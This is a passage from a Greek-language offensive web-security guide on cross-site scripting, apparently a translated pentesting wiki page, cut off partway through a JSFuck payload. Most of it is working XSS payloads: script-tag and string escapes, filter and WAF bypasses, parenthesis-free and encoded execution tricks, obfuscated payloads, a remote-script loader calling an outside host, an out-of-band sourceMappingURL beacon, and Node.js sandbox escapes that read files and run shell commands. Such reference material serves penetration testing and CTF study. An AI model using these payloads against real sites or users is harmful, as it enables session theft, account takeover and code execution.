Για παράδειγμα, θα μπορούσες να προσθέσεις κάποια στυλιστικά στοιχεία στο στοιχείο όπως: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Αλλά, αν το WAF φιλτράρει το χαρακτηριστικό style, μπορείς να χρησιμοποιήσεις τα CSS Styling Gadgets, οπότε αν βρεις, για παράδειγμα
.test {display:block; color: blue; width: 100%}
και
#someid {top: 0; font-family: Tahoma;}
Τώρα μπορείς να τροποποιήσεις τον σύνδεσμό μας και να τον φέρεις στη μορφή
<a href="" id=someid class=test onclick=alert() a="">
Αυτό το κόλπο προήλθε από https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Ενσωμάτωση μέσα στον κώδικα JavaScript
Σε αυτές τις περιπτώσεις το input σου θα αντικατοπτρίζεται μέσα στον κώδικα JS ενός αρχείου .js
ή μεταξύ των ετικετών <script>...</script>
ή μεταξύ των γεγονότων HTML που μπορούν να εκτελέσουν κώδικα JS ή μεταξύ των χαρακτηριστικών που δέχονται το πρωτόκολλο javascript:
.
Απόδραση της ετικέτας <script>
Αν ο κώδικάς σου εισάγεται μέσα σε <script> [...] var input = 'αντικατοπτριζόμενα δεδομένα' [...] </script>
μπορείς εύκολα να αποδράσεις κλείνοντας την ετικέτα <script>
:
</script><img src=1 onerror=alert(document.domain)>
Σημείωσε ότι σε αυτό το παράδειγμα δεν έχουμε κλείσει καν τη μονή απόστροφο. Αυτό συμβαίνει επειδή η ανάλυση HTML πραγματοποιείται πρώτα από τον περιηγητή, η οποία περιλαμβάνει την αναγνώριση στοιχείων σελίδας, συμπεριλαμβανομένων των τμημάτων κώδικα. Η ανάλυση του JavaScript για την κατανόηση και εκτέλεση των ενσωματωμένων σεναρίων πραγματοποιείται μόνο μετά.
Μέσα στον κώδικα JS
Αν τα <>
αποσαφηνίζονται, μπορείτε ακόμα να αποδράσετε τη συμβολοσειρά όπου βρίσκεται η είσοδός σας και να εκτελέσετε αυθαίρετο JS. Είναι σημαντικό να διορθώσετε τη σύνταξη του JS, επειδή αν υπάρχουν οποιαδήποτε σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
Πρότυπα συμβολοσειρών ``
Για να κατασκευάσετε συμβολοσειρές εκτός από μονά και διπλά εισαγωγικά, το JS δέχεται επίσης ανάστροφα αποσιωπητικά ``
. Αυτό είναι γνωστό ως πρότυπα συμβολοσειρών καθώς επιτρέπουν την ενσωμάτωση εκφράσεων JS χρησιμοποιώντας τη σύνταξη ${ ... }
.
Συνεπώς, αν διαπιστώσετε ότι η είσοδός σας αντανακλάται μέσα σε μια συμβολοσειρά JS που χρησιμοποιεί ανάστροφα αποσιωπητικά, μπορείτε να καταχραστείτε τη σύνταξη ${ ... }
για να εκτελέσετε οποιοδήποτε JS κώδικα:
Αυτό μπορεί να καταχραστεί χρησιμοποιώντας:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
Εκτέλεση κώδικα με κωδικοποιημένο τρόπο
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Κωδικοποίηση Unicode για εκτέλεση JS
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Τεχνικές παράκαμψης μαύρων λιστών JavaScript
Συμβολοσειρές
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Ειδικές αποδράσεις
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
Αντικαταστάσεις κενών χώρων μέσα στον κώδικα JS
<TAB>
/**/
Σχόλια JavaScript (από το κόλπο Σχόλια JavaScript )
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
Νέες γραμμές στο JavaScript (από το κόλπο Νέα γραμμή στο JavaScript )
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
Λευκά διαστήματα στη JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Κώδικας Javascript μέσα σε ένα σχόλιο
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript χωρίς παρενθέσεις
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Αυθαίρετη κλήση συνάρτησης (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
Ευπάθειες DOM
Υπάρχει κώδικας JS που χρησιμοποιεί δεδομένα που ελέγχεται μη ασφαλώς από επιτιθέμενο όπως το location.href
. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.
Λόγω της επέκτασης της εξήγησης των ευπαθειών DOM μεταφέρθηκε σε αυτήν τη σελίδα:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Εκεί θα βρείτε μια λεπτομερή εξήγηση του τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς μπορούν να εκμεταλλευτούν.
Επίσης, μην ξεχνάτε ότι στο τέλος της αναφερόμενης ανάρτησης μπορείτε να βρείτε μια εξήγηση σχετικά με τις επιθέσεις DOM Clobbering.
Άλλες Παρακάμψεις
Κανονικοποιημένο Unicode
Μπορείτε να ελέγξετε αν τα αντανακλαστικά τιμές υποβάλλονται σε κανονικοποίηση Unicode στον εξυπηρετητή (ή στην πλευρά του πελάτη) και να εκμεταλλευτείτε αυτήν τη λειτουργία για να παρακάμψετε τις προστασίες. Βρείτε ένα παράδειγμα εδώ.
Παράκαμψη σημαίας PHP FILTER_VALIDATE_EMAIL
"><svg/onload=confirm(1)>"@x.y
Διαπραγμάτευση Ruby-On-Rails
Λόγω των RoR μαζικών εκχωρήσεων οι εισαγωγικοί χαρακτήρες εισάγονται στο HTML και στη συνέχεια η περιοριστική παράμετρος των εισαγωγικών χαρακτήρων παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.
Παράδειγμα φόρμας (από αυτήν την αναφορά), αν στείλετε το φορτίο:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Το ζεύγος "Key","Value" θα επιστραφεί πίσω όπως ακολούθως:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Ειδικοί συνδυασμοί
Στη συνέχεια, το χαρακτηριστικό onfocus θα εισαχθεί και θα προκληθεί XSS.
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS με εισαγωγή κεφαλίδας σε μια απάντηση 302
Εάν ανακαλύψετε ότι μπορείτε να εισάγετε κεφαλίδες σε μια απάντηση Ανακατεύθυνσης 302, μπορείτε να προσπαθήσετε να κάνετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript. Αυτό δεν είναι εύκολο καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απάντησης HTTP εάν ο κωδικός κατάστασης της απάντησης HTTP είναι 302, οπότε μια απλή φόρτωση cross-site scripting είναι άχρηστη.
Σε αυτήν την αναφορά και αυτήν μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορους πρωτόκολλους μέσα στην κεφαλίδα Τοποθεσίας και να δείτε αν κάποιος από αυτούς επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το XSS payload μέσα στο σώμα.
Γνωστοί πρωτόκολλοι: mailto://
, //x:1/
, ws://
, wss://
, κενή κεφαλίδα Τοποθεσίας, resource://
.
Μόνο Γράμματα, Αριθμοί και Τελείες
Εάν μπορείτε να υποδείξετε την κλήση που το javascript θα εκτελέσει περιορισμένη σε αυτούς τους χαρακτήρες. Διαβάστε αυτήν την ενότητα αυτής της ανάρτησης για να βρείτε πώς να εκμεταλλευτείτε αυτήν τη συμπεριφορά.
Έγκυροι Τύποι Περιεχομένου <script>
για XSS
(Από εδώ) Εάν προσπαθήσετε να φορτώσετε ένα script με έναν τύπο περιεχομένου όπως application/octet-stream
, το Chrome θα εμφανίσει το ακόλουθο σφάλμα:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Οι μόνοι Τύποι Περιεχομένου που θα υποστηρίξουν το Chrome να εκτελέσει ένα φορτωμένο script είναι αυτοί που βρίσκονται μέσα στη σταθερά kSupportedJavascriptTypes
από https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Τύποι Σεναρίων για XSS
(Από εδώ) Λοιπόν, ποιοι τύποι μπορούν να υποδειχθούν για τη φόρτωση ενός σεναρίου;
<script type="???"></script>
Η απάντηση είναι:
- module (προεπιλογή, δεν χρειάζεται εξήγηση)
- webbundle: Τα Web Bundles είναι μια λειτουργία με την οποία μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS...) σε ένα αρχείο
.wbn
.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Επιτρέπει τη βελτίωση της σύνταξης εισαγωγής
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο συγκεκριμένο άρθρο για την ανακατανομή μιας βιβλιοθήκης στο eval για να την καταχραστεί και να ενεργοποιήσει XSS.
- speculationrules: Αυτό το χαρακτηριστικό είναι κυρίως για την επίλυση ορισμένων προβλημάτων που προκαλούνται από το προ-αποτύπωμα. Λειτουργεί ως εξής:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
Τύποι Περιεχομένου Ιστού για XSS
(Από εδώ) Οι ακόλουθοι τύποι περιεχομένου μπορούν να εκτελέσουν XSS σε όλους τους browsers:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? δεν είναι στη λίστα αλλά νομίζω ότι το είδα σε ένα CTF)
- application/rss+xml (απενεργοποιημένο)
- application/atom+xml (απενεργοποιημένο)
Σε άλλους browsers μπορούν να χρησιμοποιηθούν και άλλοι Content-Types
για την εκτέλεση αυθαίρετου JS, ελέγξτε: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
Τύπος Περιεχομένου xml
Εάν η σελίδα επιστρέφει έναν τύπο περιεχομένου text/xml, είναι δυνατή η καθορισμός ενός namespace και η εκτέλεση αυθαίρετου JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Ειδικά Πρότυπα Αντικατάστασης
Όταν χρησιμοποιείται κάτι σαν το "some {{template}} data".replace("{{template}}", <user_input>)
, ο επιτιθέμενος μπορεί να χρησιμοποιήσει ειδικές αντικαταστάσεις συμβόλων για να προσπαθήσει να παρακάμψει κάποιες προστασίες: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Για παράδειγμα, σε αυτό το άρθρο, αυτό χρησιμοποιήθηκε για να αποδράσει μια συμβολοσειρά JSON μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
Chrome Cache σε XSS
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
Απόδραση από XS Jails
Αν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων που μπορείτε να χρησιμοποιήσετε, ελέγξτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Εάν τα πάντα είναι απροσδιόριστα πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε αυτήν την ανάλυση), είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
- Χρησιμοποιώντας import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
- Πρόσβαση στο
require
έμμεσα
Σύμφωνα με αυτό τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό:
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
Επομένως, αν μπορούμε να καλέσουμε μια άλλη συνάρτηση από αυτή την μονάδα, είναι δυνατόν να χρησιμοποιήσουμε το arguments.callee.caller.arguments[1]
από αυτή τη συνάρτηση για να έχουμε πρόσβαση στο require
:
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
{% endcode %}
Με έναν παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να χρησιμοποιήσετε τους χειριστές σφαλμάτων για να έχετε πρόσβαση στο περιτύλιγμα του module και να λάβετε τη λειτουργία require
:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Απόκρυψη & Προηγμένη Παράκαμψη
- Διαφορετικές αποκρύψεις σε μία σελίδα: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Πιο εξελιγμένο JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+